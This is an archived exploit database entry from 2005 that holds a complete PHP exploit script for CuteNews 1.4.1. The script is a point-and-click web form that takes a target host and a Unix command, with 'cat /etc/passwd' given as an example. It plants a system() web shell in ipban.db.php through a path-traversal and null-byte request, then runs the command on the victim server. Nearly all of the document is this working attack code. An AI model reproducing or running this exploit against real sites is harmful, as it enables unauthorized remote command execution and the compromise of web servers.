CuteNews <= 1.4.1 shell inject Remote Command Execution Exploit

2005-11-03T00:00:00
ID EDB-ID:1289
Type exploitdb
Reporter rgod
Modified 2005-11-03T00:00:00

Description

CuteNews <= 1.4.1 (shell inject) Remote Command Execution Exploit. CVE-2009-4115. Webapps exploit for php platform

                                        
                                            &lt;?php
#  ---cuten141_xpl.php                                      7.13 03/11/2005    #
#                                                                              #
#                  CuteNews 1.4.1  shell injection                             #
#                              by rgod                                         #
#                  site: http://rgod.altervista.org                            #
#                                                                              #
#  usage: launch form Apache, fill in requested fields, then go!               #
#                                                                              #
#  make these changes in php.ini if you have troubles                          #
#  with this script:                                                           #
#  allow_call_time_pass_reference = on                                         #
#  register_globals = on                                                       #
#                                                                              #
#  mphhh, exploited this two times... really bored ;)                          #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'&lt;head&gt;&lt;title&gt;CuteNews 1.4.1  remote   commands   execution  &lt;/title&gt;  &lt;meta
http-equiv="Content-Type"  content="text/html; charset=iso-8859-1"&gt; &lt;style type=
"text/css"&gt; &lt;!-- body,td,th {color:  #00FF00;} body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:  bold;
font-style: italic; } --&gt; &lt;/style&gt;&lt;/head&gt; &lt;body&gt; &lt;p class="Stile6"&gt; CuteNews
1 . 4 . 1  (possibly prior versions) remote commands execution&lt;/p&gt;&lt;p class="Stil
e6"&gt;a script by rgod at &lt;a href="http://rgod.altervista.org"    target="_blank"&gt;
http://rgod.altervista.org&lt;/a&gt;&lt;/p&gt;&lt;table width="84%"&gt;&lt;tr&gt;&lt;td width="43%"&gt; &lt;form
name="form1" method="post"   action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value"&gt;&lt;p&gt;&lt;input type="text"   name="host"&gt;
&lt;span class="Stile5"&gt; hostname (ex: www.sitename.com)  &lt;/span&gt;&lt;/p&gt;&lt;p&gt;     &lt;input
type="text" name="path"&gt;&lt;span class="Stile5"&gt; path (ex: /cute/ or just /)&lt;/span&gt;
&lt;/p&gt;&lt;p&gt;&lt;input type="text"name="port"&gt;&lt;span class="Stile5"&gt; specify a port  other
than 80 ( default value ) &lt;/span&gt; &lt;/p&gt;  &lt;p&gt;  &lt;input  type="text" name="command"&gt;
&lt;span  class="Stile5"&gt; a Unix command , example: ls -la  to list directories, ca
t /etc/passwd to show passwd file &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;input type="text" name="proxy"&gt;
&lt;span class="Stile5"&gt;  send exploit through an HTTP  proxy (ip:port) &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;   &lt;input   type="submit" name="Submit"  value="go!"&gt; &lt;/p&gt;&lt;/form&gt; &lt;/td&gt; &lt;/tr&gt;
&lt;/table&gt;';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '&lt;table border="0"&gt;&lt;tr&gt;';
while ($ii &lt;= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "&lt;td&gt;&nbsp;&nbsp;&lt;/td&gt;";
             for ($li=0; $li&lt;=15; $li++)
                      { echo "&lt;td&gt;".$headeri[$li+$ki]."&lt;/td&gt;";
			    }
            $ki=$ki+16;
            echo "&lt;/tr&gt;&lt;tr&gt;";
            }
if (strlen($datai)==1) {echo "&lt;td&gt;0".$datai."&lt;/td&gt;";} else
{echo "&lt;td&gt;".$datai."&lt;/td&gt; ";}
$ii++;
$ji++;
}
for ($li=1; $li&lt;=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "&lt;td&gt;&nbsp&nbsp&lt;/td&gt;";
                       }

for ($li=$ci*16; $li&lt;=strlen($headeri); $li++)
                      { echo "&lt;td&gt;".$headeri[$li]."&lt;/td&gt;";
			    }
echo "&lt;/tr&gt;&lt;/table&gt;";
}


function sendpacket($packet)
{
global $proxy, $host, $port, $html;
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
if ($proxy=='')
           {$ock=fsockopen(gethostbyname($host),$port);}
             else
           {
     	    $c = preg_match($proxy_regex,$proxy);
            if (!$c) {echo 'Not a valid prozy...'; die; }
            $parts=explode(':',$proxy);
	        echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
	        $ock=fsockopen($parts[0],$parts[1]);
	        if (!$ock) { echo 'No response from proxy...'; die;}
	       }
fputs($ock,$packet);
if ($proxy=='')
           {
           $html='';
           while (!feof($ock)) {$html.=fgets($ock);}
           }
     else
           {
           $html='';
           while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
           {
            $html.=fread($ock,1);
           }
           }
fclose($ock);
echo nl2br(htmlentities($html));
}

if (($path&lt;&gt;'') and ($host&lt;&gt;'') and ($command&lt;&gt;''))
{
  if ($port=='') {$port=80;}
  $port=intval(trim($port));
  if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {echo 'Error... check the path!'; die;}
  if ($proxy=='') { $p=$path; } else { $p="http://".$host.":".$port.$path;}
#STEP 1 -&gt; Inject a shell in ipban.db.php...
###############################################################################################
$shell='&lt;?php error_reporting(0); ini_set("max_execution_time",0); system($_GET[cmd]); die;?&gt;';
$shell=urlencode($shell);
#very nice ip to add to banlist... ;) no check fo ip address format, only a stripslashes
###############################################################################################

$packet="GET ".$p."show_archives.php?template=../inc/ipban.mdu%00&member_db[1]=1&action=add&add_ip=".$shell." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet); //show the packet for debugging purposes
sendpacket($packet);

# STEP 2 -&gt; Launch commands
echo '&lt;br&gt; If CuteNews 1.4.1 is unpatched and vulnerable, now you will see '.htmlentities($command).' output...&lt;br&gt;';
$packet="GET ".$p."data/ipban.db.php?cmd=".urlencode($command)." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet); //debugging...
sendpacket($packet);
}
else
{echo 'fill in all requested fields...optionally specify a proxy...';}

?&gt;

# milw0rm.com [2005-11-03]